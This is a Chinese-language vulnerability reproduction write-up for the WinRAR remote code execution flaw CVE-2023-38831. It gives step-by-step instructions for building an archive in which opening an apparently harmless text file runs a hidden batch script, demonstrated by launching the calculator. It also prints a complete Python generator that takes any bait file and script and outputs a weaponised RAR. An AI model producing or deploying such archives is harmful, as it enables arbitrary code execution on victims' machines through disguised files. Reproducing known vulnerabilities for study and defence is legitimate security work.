winrar_RCE(CVE-2023-38831)漏洞复现

漏洞详情

漏洞名称:WinRAR远程代码执行漏洞

漏洞编号:CVE-2023-38831

漏洞原理:WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如txt文件)后,将在受害者机器上执行任意代码。

漏洞复现

  1. 在一个空文件夹下新建如下两个文件夹

    1. test.txt(文件夹)
    2. doc(文件夹)

    image-20230901212440923

  2. doc文件夹下新建一个test.txt文件

    image-20230901212656033

  3. test.txt文件夹下新建一个test.txt.bat文件并写入利用代码

    image-20230901212824179

  4. 压缩test.txt文件夹并重命名为test.rar

    image-20230901213022691

    image-20230901213046149

  5. 用winRAR打开test.rar

    image-20230901213143171

  6. doc文件夹下的test.txt文件拖进test.rar

    image-20230901213336403

  7. 重命名test.txt文件为”test.txt “(结尾加了个空格)

    image-20230901213636969

  8. 重命名test.txt文件夹下的test.txt.battest.txt .bat

    image-20230901213955284

  9. 双击”test.txt “文件,成功弹出计算器

    image-20230901214140428

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import shutil
import os
import sys

TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"

def main():
global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量

# 处理命令行参数
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""用法:
python cve-2023-38831-exp-gen.py poc
python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()

# 提取鱼叉文件名的扩展名
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("鱼叉文件名:", BAIT_NAME)
print("脚本文件名:", SCRIPT_NAME)
print("输出文件名:", OUTPUT_NAME)

# 清理并创建必要的目录
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)

# 复制文件到模板目录
shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd"))
shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))

# 创建模板目录的 zip 压缩文件
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

# 读取、修改并写回 zip 压缩文件
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

# 将修改后的内容保存为最终输出文件
with open(OUTPUT_NAME, "wb") as f:
f.write(content)

print("成功生成漏洞利用代码。")

if __name__ == "__main__":
main()